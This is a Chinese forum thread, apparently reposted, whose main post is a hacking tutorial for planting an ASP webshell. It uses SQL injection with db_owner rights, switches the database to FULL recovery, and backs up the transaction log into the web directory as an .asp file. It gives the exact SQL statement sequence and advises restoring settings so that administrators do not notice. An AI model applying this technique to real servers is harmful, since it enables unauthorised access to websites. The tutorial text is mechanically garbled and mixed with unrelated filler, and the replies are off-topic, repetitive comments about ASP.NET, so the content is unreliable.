仓酷云

标题: ASP网页编程之黑客技能:使用Log备份猎取Webshell [打印本页]

作者: 因胸联盟    时间: 2015-1-16 22:19
标题: ASP网页编程之黑客技能:使用Log备份猎取Webshell
asp,jsp,php是web开发的三大技术,asp简单易用且有microsoft做靠山,jsp功能强大是因为有java支持,php则开源跨平台.在国内,asp应用范围最广,jsp发展势头最猛,php则处于劣势.这可能与公司的支持以及技术的培训有关.web|备份|技能Blog被人浸透了一下,不晓得列位失落了甚么器材没有。本来有一次blog的目次能够列出来,那次我失落了一个小器材,然后明天他人告知我NBSI3用了谁人器材的办法……呵呵,有点晕,就是上面的,乐成率仍是很高的,人人能够碰运气。嗯,办法流进来无所谓,文章留着吧。

  dbowner经由过程打针失掉一个shell应当不是甚么难事变了,对照贫苦的是就算使用增量备份,仍旧有良多不断定的要素,假如之前他人有过甚么毛病的写进信息,大概备份出来失掉的仍是一些不克不及用的500毛病,怎样可以进步乐成率及重用性呢?假如单从调剂增量备份的体例来看,只管可以到达一些效果,可是办法对照庞大并且效果不分明。加上关于重用性的思索,比方屡次备份的乐成率,backupdatabase的办法其实不太合用。这里将要报告的是别的一个备份的办法,导出日记文件到web目次来取得shell。

  饭要一口一口的吃,手艺成绩也要一个一个的办理,失掉webshell起首要晓得物理路径,然后才干说其他的。关于物理路径的表露有良多办法,注进也能够失掉,这点nbsi2已做到了,就不再多说。值得注重的是,假如数据库和web分别,如许一定得不到webshell,备份出来的器材能够掩盖任何文件,一些关于入手下手菜单的设法仍是无效的,只需注重扩大名就好。扯远了,归正假如数据库和web在一块的,你就无机会,反之仍是想其他的举措吧。

  然后你要失掉以后的权限和数据库名。假如是sysadmin固然没有需要做很庞大的事变,dbowner足矣,public则不可。以后翻开的库名用一个db_name()就能够失掉,一样很复杂。

  默许的情形是,一样平常选择的数据库妨碍复原范例都是复杂,这时候候不克不及够对日记文件举行备份。但是我们都是dbowner了,另有甚么不克不及做的呢,只需修正一上司性就能够。因为不克不及往企业办理器中修正,只要用一段SQL语句,很复杂的,如许就能够:

  alterdatabaseXXXXsetRECOVERYFULL

  个中XXXX是你失掉的数据库的名字,实行事后就能够备份日记了。这类修正是损坏性的,由于你不晓得之前的妨碍复原形式是甚么,仔细的办理员看到异常,大概就要入手下手起困惑。假如之前你能失掉数据库的形态,最好仍是在备份完今后把这个数据库的属性改返来。

  剩下的事变就是如何让数据库用最原始的体例纪录下你的数据了。这一点和backupdatabase中设定表名为image的成绩绝对应,假如你只是创建一个之类的表,日记内里的纪录仍是以松懈的格局纪录的,也就是<%%>,没有任何效果。经由过程实践的测试,发明仍是能够经由过程与backupdatabase相似的体例纪录出来,以下:

  createtablecmd(aimage)

  insertintocmd(a)values(’’)

  backuplogXXXXtodisk=’c:xxx2.asp’

  如许你已失掉一个webshell了。

  到这里就完了么?没有,呵呵,我们持续。
到这里有两个分支偏向,第一个,让注进的时分不呈现单引号,太复杂了,我都懒得写;第二个,减小这个webshell的长度和进步乐成率。上面的办法就是会商第二个分支成绩的,一样合用于backupdatabase的减小。

  起首是初始化这个日记。

  backuplogXXXXtodisk=’c:caonima’withinit

  如许有点相似于增量备份的第一步,不外有点分歧的是,你做了这个今后,你备份出来的可用的shell是流动的。这一点对照主要,由于有了这一步,不论办理员在数据库内里做了甚么侵扰你backdatabase的四肢举动,大概你之前有几忘八(你一定会这么想的)弄了些你不喜好的器材,都没有干系,乃至你做过今后,他人在前面再依照你的办法来一次,仍是会乐成,这关于偶然呈现的重复,好比对方呆板重装可是数据库和代码没变,有不小的匡助。

  然后是调剂一下backup中各个语句的按次。经由过程第一点,也许的步骤已断定上去了,那就是:

  alterdatabaseXXXXsetRECOVERYFULL

  backuplogXXXXtodisk=’c:Sammy’withinit

  createtablecmd(aimage)

  insertintocmd(a)values(’’)

  backuplogXXXXtodisk=’c:xxx2.asp’

  如许欠好,感到上多了一条没用的器材。

  createtablecmd(aimage)

  的确有点厌恶,不外这句是需要的,只好调剂一下地位,弄到其他中央往。互换一下按次仿佛还能够小一点,关于backupdatabase中的增量情形一样是能够的,backupdatabase乃至能够仅仅在update后即刻备份,不外因为触及到了数据的存储格局,情形很庞大,这里不会商。调剂后的是:

  alterdatabaseXXXXsetRECOVERYFULL

  createtablecmd(aimage)

  backuplogXXXXtodisk=’c:Sammy’withinit

  insertintocmd(a)values(’’)

  backuplogXXXXtodisk=’c:xxx2.asp’

  乐成的话,备份出来的shell(下面的2.asp)有78.5k,文件长度流动的是80,384字节。很抉剔的伴侣也能够承受了吧,固然用这个来天生一个洁净的木马也能够――这原本就是顶端cs木马的s端,很通用的。
ASP.NET和ASP的比较,技术上比较已经没什么可说的了.新一代在大部分程度来说当然是比旧一代好了.关键看你对所做软件的理解了.因人而定.会写的话也可能比ASP.NET写得更有效率和更方便重用
作者: 灵魂腐蚀    时间: 2015-1-19 08:32
运用ASP可将VBscript、javascript等脚本语言嵌入到HTML中,便可快速完成网站的应用程序,无需编译,可在服务器端直接执行。容易编写,使用普通的文本编辑器编写,如记事本就可以完成。由脚本在服务器上而不是客户端运行,ASP所使用的脚本语言都在服务端上运行。
作者: 海妖    时间: 2015-1-25 12:10
封装性使得代码逻辑清晰,易于管理,并且应用到ASP.Net上就可以使业务逻辑和Html页面分离,这样无论页面原型如何改变,业务逻辑代码都不必做任何改动;继承性和多态性使得代码的可重用性大大提高。
作者: 再现理想    时间: 2015-2-2 22:03
哪些内置对象是可以跳过的,或者哪些属性和方法是用不到的?
作者: 变相怪杰    时间: 2015-2-8 10:37
哪些内置对象是可以跳过的,或者哪些属性和方法是用不到的?
作者: 若相依    时间: 2015-2-25 09:13
你可以通过继承已有的对象最大限度保护你以前的投资。并且C#和C++、Java一样提供了完善的调试/纠错体系。
作者: 爱飞    时间: 2015-3-7 19:28
下载一个源代码,然后再下载一个VBScript帮助,在源代码中遇到不认识的函数或是其他什么程序,都可以查帮助进行解决,这样学习效率很高。
作者: 莫相离    时间: 2015-3-15 13:01
以HTML语言整合(HTML负责界面上,ASP则负责功能上)形成一个B/S(浏览器/服务器)模式的网页程序。
作者: 第二个灵魂    时间: 2015-3-22 01:10
下载一个源代码,然后再下载一个VBScript帮助,在源代码中遇到不认识的函数或是其他什么程序,都可以查帮助进行解决,这样学习效率很高。




欢迎光临 仓酷云 (http://ckuyun.com/) Powered by Discuz! X3.2